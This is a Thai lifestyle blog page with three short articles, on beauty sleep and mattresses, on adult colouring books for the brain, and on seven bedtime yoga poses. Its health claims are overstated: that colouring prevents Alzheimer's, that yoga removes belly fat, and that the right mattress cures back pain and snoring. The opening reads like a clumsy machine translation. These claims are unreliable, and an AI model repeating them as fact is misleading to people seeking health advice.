    ความงามของการนอนหลับดูเหมือนจะเป็นจริงเพราะ บริษัท ผลิตภัณฑ์ดูแลผิวได้กล่าวว่าเป็นเวลานานมากที่ผิวของคุณจะประสบถ้าคุณไม่ได้นอนหลับเพียงพอ คุณจะพบว่าพื้นผิวการนอนหลับใหม่ทำให้คุณรู้สึกสดชื่นและคุณจะรู้สึกว่าคุณสามารถทำกิจวัตรประจำวันได้อย่างง่ายดายในตอนเช้า คนที่หลับไม่ดีมักจะมีคราบน้ำมันสะสมอยู่บนผิวและทำให้ยากสำหรับรูขุมขนที่เปิดกว้างและผิวเรียบเนียนที่พวกเขาต้องการ

    อีกอย่างคู่การซื้อที่นอนเพื่อให้คุณเลือกที่นอนที่เหมาะสมที่แท้จริงสามารถปรับปรุงคุณภาพการนอนหลับของคุณ คุณจะเริ่มเห็นอาการปวดหลังกรนและปัญหาสุขภาพอื่น ๆ หายไป นอกจากนี้คุณเริ่มที่จะดูดีที่สุดอีกครั้งเมื่อคุณได้นอนหลับพักผ่อนอย่างเต็มที่ ทุกอย่างเกี่ยวกับสุขภาพของคุณเปลี่ยนไปเมื่อคุณใช้ที่นอนที่เหมาะสมเพื่อนอนหลับ

     

    Credit by : www.womendailymagazine.com

    บทความอื่นๆ เทรนด์ฮิตช่วยกระตุ้นสมอง ป้องกัน โรคอัลไซเมอร์

  • เทรนด์ฮิตช่วยกระตุ้นสมอง ป้องกัน โรคอัลไซเมอร์

    เทรนด์ฮิตช่วยกระตุ้นสมอง ป้องกัน โรคอัลไซเมอร์

    ระบายสีฝึกสมาธิ เทรนด์ฮิตช่วยกระตุ้นสมอง ป้องกัน โรคอัลไซเมอร์

    โรคอัลไซเมอร์ ที่หลายคนกลัว เรามีวิธีช่วยกระตุ้นสมอง ป้องกันโรคนี้ได้ ด้วยการระบายสี แต่หากคุณเป็นคนหนึ่งที่คิดว่าหนังสือระบายสีเหมาะสำหรับเด็กเท่านั้น ขอท้าให้คุณลองลงมือแต่งแต้มสีสันในหนังสือระบายสีสำหรับผู้ใหญ่ดูสักครั้ง เชื่อว่าคุณต้องเปลี่ยนความคิดแน่นอน เพราะหนังสือระบายสีมีประโยชน์สำหรับผู้ใหญ่เช่นกัน และยังเป็นที่นิยมมากในหลายประเทศทั่วโลก ทั้งเกาหลี จีน อังกฤษ อเมริกา ญี่ปุ่น ฝรั่งเศส ฯลฯ

    หนังสือระบายสีสำหรับผู้ใหญ่ไม่ได้มีเพียงแค่ลายเส้นที่สวยงามเท่านั้น แต่การบรรจงลงสียังช่วยให้คุณผ่อนคลายหายเครียด ที่สำคัญยังช่วยกระตุ้นสมอง เยียวยาผู้ป่วยระยะพักฟื้น และป้องกันโรคอัลไซเมอร์ได้อีกด้วย

    ปัญหาสุขภาพของผู้สูงอายุพบว่า คนสูงอายุมีโอกาสมากที่จะรู้สึกเครียด วิตกกังวล ว้าเหว่ และเปล่าเปลี่ยว ซึ่งความรู้สึกแบบนี้ มีผลต่อสมองก็จะเสื่อมลงไปเรื่อยๆ เนื่องจากสมองไม่ได้รับการกระตุ้นให้ใช้ (passive brain) สิ่งนี้จะเป็นปัจจัยนำไปสู่โรคอัลไซเมอร์ แต่ถ้าได้ทำอะไรที่เกิดประโยชน์ รู้สึกมีคุณค่า และมีความคิดสร้างสรรค์ ก็จะช่วยกระตุ้นให้สมองยังทำงานอยู่ (active brain) เป็นการป้องกันสมองเสื่อมที่ดีที่สุด

    โดยทั่วไปสมรรถภาพสมองจะยังสูงอยู่แม้ความจำจะลดลง นายแพทย์ยงยุทธกล่าวว่า “ถ้าสมมติคุณอายุ 60 ปี เกษียณออกมาแล้วนั่งหน้าโทรทัศน์ทั้งวัน ไม่กี่ปีคุณก็จะเข้าสู่โรคอัลไซเมอร์ มีคนศึกษาว่าสมองคนเราจะรักษาศักยภาพได้ถึงอายุ 70 ปี หลังจากนั้นสมองก็จะเริ่มทำงานลดลง แต่เรารักษาศักยภาพและลดความเสื่อมได้ด้วยการทำกิจกรรมที่ช่วยกระตุ้นสมอง”

    ความจริงแล้วผู้สูงอายุกระตุ้นให้สมองทำงานได้ผ่านกิจกรรมต่างๆ วิธีการที่ดีที่สุดคือการทำงาน หากทำงานหารายได้ไม่ได้ก็อาจทำงานอาสาสมัคร ถัดลงมาคืองานอดิเรก เช่น การเย็บปักถักร้อย การทำสวน หรือการสร้างสรรค์งานศิลปะ เป็นต้น

    งานศิลปะเป็นงานอดิเรกช่วยกระตุ้นสมองผู้สูงวัยได้ดี โดยอาจจะวาดภาพตามแบบ หรือระบายสีลงในหนังสือระบายสีสำหรับผู้ใหญ่ก็ได้ 

    ประโยชน์ที่สำคัญของการระบายสีหลักๆ คือ

    • ลดความเครียด ลดความว้าวุ่นและความวิตกกังวล ทำให้มีสติในการทำงาน 
    • ช่วยทำให้มีความคิดสร้างสรรค์มากขึ้น เพราะทำให้เราเลือกตัดสินใจได้ด้วยตัวเองผ่านการเลือกแบบเลือกสีในการระบาย 

    สิ่งที่ตามมาคือจะได้เห็นคุณค่าของตัวเราเอง เป็นการสร้างผลงาน นอกจากนี้ยังมีข้อดีอีกคือ เป็นกิจกรรมที่ต้องใช้เวลามากในการระบายสี ทำให้สมองได้เป็นฝ่ายกระทำ ต่างจากการดูโทรทัศน์ซึ่งสมองได้แค่รับอย่างเดียว

    นอกจากนี้ การระบายสียังช่วยกระตุ้นการทำงานของสมองของผู้ป่วยพักฟื้นได้อีกด้วย ขณะที่เราป่วยสิ่งที่เสียไปด้วยคือสมอง เพราะเราแทบไม่ได้ใช้สมองทำอะไรเลย การมีกิจกรรมมาช่วยกระตุ้นสมองในช่วงนี้จะเป็นสิ่งที่ดี การระบายสีเป็นหนึ่งในตัวช่วยเพื่อฟื้นฟูสมองได้ สำหรับผู้ป่วยที่มีปัญหาสุขภาพจิต เช่น วิตกกังวล ซึมเศร้า สมองเสื่อม สามารถใช้การระบายสีเพื่อช่วยบรรเทาได้ (Art Therapy) หากจะรักษาจริงๆ สามารถทำได้โดยปรึกษาจิตแพทย์ หรือนักจิตวิทยาหรือผู้บำบัด 

    ไม่เพียงแค่ผู้สูงวัยหรือผู้ป่วยพักฟื้นเท่านั้นที่ควรหันมาทำงานอดิเรกอย่างการระบายสี คนทั่วไปก็ควรเริ่มระบายสีกระตุ้นสมองเช่นกัน คนเราต้องทำอะไรสักอย่างให้เกิดการพักผ่อนจิตใจ การระบายสีก็เหมือนกับการสร้างสมดุลย์ชีวิต (Work Life Balance) คือจะต้องทำบางอย่างให้ชีวิตได้เข้าถึงความสงบ ความงาม ความสร้างสรรค์ ความพอเพียง ซึ่งการวาดภาพระบายสีเป็นทางเลือกที่ดี

    อย่าปล่อยให้สมองของคุณต้องเสื่อมลงไปตามกาลเวลา มากระตุ้นสมองปลุกความสร้างสรรค์ในตัวคุณ ผ่านกิจกรรมเวิร์กช็อป ศาสตร์และศิลป์แห่งสี บำบัดเครียด เยียวยาป่วย ด้วยหนังสือระบายสี เรียนรู้การสร้างสมดุลในชีวิตด้วยการระบายสี ระบายสีอย่างไรให้ไม่เครียดและผ่อนคลายพร้อมสร้างสมาธิ และแนะเทคนิคการลงสีให้ภาพดูสวยโดดเด่นพร้อมมีชีวิตผ่านหนังสือระบายสีกันดีกว่าคะ

     

    ขอบคุณข้อมูลจาก : medicaldaily

    บทความอื่นที่น่าสนใจ : สมุนไพรธรรมชาติ บำบัด แก้โรคได้สารพัดโรค

  • คนหลับยาก ฟังทางนี้ 7 ท่าโยคะ ก่อนนอนทำให้ช่วยหลับสบาย จริงหรือ?

    คนหลับยาก ฟังทางนี้ 7 ท่าโยคะ ก่อนนอนทำให้ช่วยหลับสบาย จริงหรือ?

    7 ท่าโยคะ ทำก่อนนอนช่วยให้หลับสบาย จริงๆหรือ?

    7 ท่าโยคะ ทำให้ตื่นมาแล้วสวย! ลองเผื่อเวลาสักนิด มาโยคะกันสักหน่อยคะ เพราะการโยคะก่อนนอน นอกจากจะช่วยให้หลับสบาย คลายอาการปวดหลังจากการนั่งทำงานมาทั้งวันแล้ว โยคะยังช่วยลดพุงได้อีกด้วยนะ!

    สำหรับท่าโยคะที่ช่วยลดพุงและคลายอาการปวดหลังได้ดี เราขอแนะนำ 7 ท่าที่เรานำมาฝากวันนี้เลยคะ ทำได้ง่ายๆ บนเตียง ก่อนนอนลองหาเวลาสักนิดมาทำกันนะคะสาวๆ ทำแล้วรับรองหลับสบาย แถมพุงหายด้วยนะ….

    • โยคะท่าที่ 1 ท่าเด็กหมอบ (Child’s Pose)

    ท่านี้เริ่มด้วยท่านั่งบนส้นเท้าค่ะ ยกแขนทั้งสองข้างเหยียดตรงขึ้นเหนือศีรษะ จากนั้นโน้มตัวไปด้านหน้า วาดแขนลงกับพื้น วางหน้าผากแนบพื้น ค้างไว้ 3 วินาที ทำซ้ำท่านี้ 10 ครั้งค่ะ

    • ท่าที่ 2 โยคะท่าผีเสื้อ (Butterfly Pose)

    เริ่มต้นด้วยการนั่งบนเสื่อโยคะ ประกบปลายเท้าทั้งสองข้างเข้าด้วยกันให้เป็นรูปตัว C จากนั้นโค้งตัวลงมาโดยใช้มือทั้งสองข้างประคองให้ฝ่าเท้าหงายออก ใช้ศอกกดต้นขาให้เข่าแตะพื้นให้ได้มากที่สุด สูดลมหายใจเข้าลึกๆ ค้างท่าท่านี้ทิ้งไว้ประมาณ 20 วินาที จากนั้นค่อยปล่อยกลับคืนท่าเดิม สามารถทำซ้ำใหม่ได้

    • ท่าที่ 3 โยคะท่าหัวจรดเข่า (Head to Knee Pose A)

    เริ่มต้นจากนั่งขาชิดบนเสื่อโยคะ พับขาข้างหนึ่งเข้าหาตัว เหมือนการนั่งขัดสมาธิ ให้ฝ่าเท้าชิดกับต้นขาข้างที่เหยียดตรง โดยพยายามจัดให้ส้นเท้าชิดที่โคนต้นขามากที่สุด สูดลมหายใจเข้าปอดลึกๆ ยกทั้งสองมือขึ้นเหนือศีรษะ แล้วค่อยๆ โน้มตัวลงมาโอบฝ่าเท้าด้วยมือทั้งสองข้าง จากนั้นประสานมือเข้าด้วยกัน เอาหน้าผากจดขา ทิ้งไว้ 10 ลมหายใจ จากนั้นค่อยกลับสู่ท่าเดิม แล้วสลับไปทำเหมือนเดิม แต่อีกข้างหนึ่ง

    • ท่าที่ 4 โยคะท่าสะพานโค้ง (Bridge Pose)

    เริ่มที่การนอนหงาย และ ให้แผ่นหลังแนบลงกับเสื่อโยคะ จากนั้นชันเข่าขึ้น แยกเท้าให้ห่างออกตามความกว้างของสะโพก แขนวางแนบลำตัว ค่อยๆ ยกสะโพกขึ้นจนก้นกบอยู่ระนาบเดียวกับหัวเข่า ยกหน้าอกให้อยู่เหนือไหล่ หายใจเข้า แล้วก็กลั้นหายใจครู่หนึ่ง จากนั้นผ่อนลมหายใจออก ก่อนจะค่อยเปลี่ยนกลับมาที่ท่าผ่อนคลาย

    • ท่าที่ 5 โยคะท่านอนหงายบิดตัว (Reclining Twist)

    นอนหงายบนเสื่อโยคะ จากนั้นชันเข่าทั้งสองข้างขึ้น ให้เท้าลอยเหนือพื้น พลิกขาไปข้างใดข้างหนึ่ง โดยที่เกร็งส่วนบนของลำตัวอยู่ในตำแหน่งเดิม ส่วนหัวบิดตรงข้ามกับส่วนขา จากนั้นค้างท่านี้ไว้สักพัก พร้อมกับสูดลมหายใจเข้าลึกๆ แล้วค่อยพลิกตัวกลับมาตั้งท่าเริ่มต้น ค้างไว้ 3 ลมหายใจแล้วก็พลิกตัว สลับไปอีกด้านหนึ่ง

    • ท่าที่ 6 โยคะท่าศพอาสนะ (Corpse Pose)

    เริ่มต้นด้วยการนั่งบนพื้นเสื่อโยคะแล้วชันเข่าขึ้นมา ใช้มือสองข้างยันพื้นด้านหลัง ยกสะโพกเคลื่อนไปด้านหลัง จากนั้นค่อยๆ เหยียดขาขวาออก ตามด้วยขาซ้าย แล้วใช้มือประคองต้นคอเอาไว้ ค่อยๆ นอนหงายบนพื้น สามารถหาหมอนใบเล็กๆ มาหนุนศีรษะเอาไว้ได้ แต่จะต้องนอนตรงกลางหมอนให้สมดุล ยกแขนขึ้นตั้งฉากกับพื้น แล้วปล่อยแขนลงมาที่ข้างตัว หงายมือออก เหยียดแขนและขาตรงข้างลำตัว โดยให้มือห่างออกจากสะโพกเล็กน้อย จากนั้นเกร็งกล้ามเนื้อแต่ละส่วนของร่างกาย โดยเริ่มที่นิ้วเท้า เกร็งค้างไว้ 5 – 6 วินาทีแล้วปล่อย ต่อจากนั้นเลื่อนขึ้นมาเกร็งกล้ามเนื้อขา เข่า ต้นขา สะโพก หน้าท้อง ทรวงอก แขน มือ นิ้วมือ หัวไหล่ คอ หน้า และสมองตามลำดับ ส่วนละ 5 – 6 วินาทีแล้วปล่อย แล้วสุดท้ายค่อยๆ ผ่อนคลายส่วนต่าง ๆ ของร่างกายและจิตใจ ปล่อยวางความคิดต่าง ๆ เพ่งสมาธิที่การกำหนดลมหายใจเพียงเท่านี้เป็นอันเสร็จ

    • ท่าที่ 7 โยคะท่าวางขาบนกำแพง (Legs Up the Wall)

    นั่งบนเสื่อโยคะ นั่งหันหน้าชิดเข้าหากำแพงให้มากที่สุด จากนั้นค่อยๆ เอนตัวลงนอน หยิบหมอนหรือผ้าห่มมารองตรงเอวเอาไว้ เหยียดขาขึ้นตรง ดันตัวให้บั้นท้ายแนบชิดกำแพง ค้างไว้ประมาณ 30 วินาที พลิกหันข้าง บิดขี้เกียจแล้วค่อยพลิกอีกข้าง บิดขี้เกียจแล้วค่อยพลิกอีกข้าง ทำซ้ำเช่นกัน จากนั้นค่อยลดขาลงมาเป็นท่าเริ่มต้น

     

     

    ขอบคุณ : jeab

    บทความอื่นที่น่าสนใจ : 8 ท่าแพลงก์ที่แสนง่าย ในการลดหน้าท้อง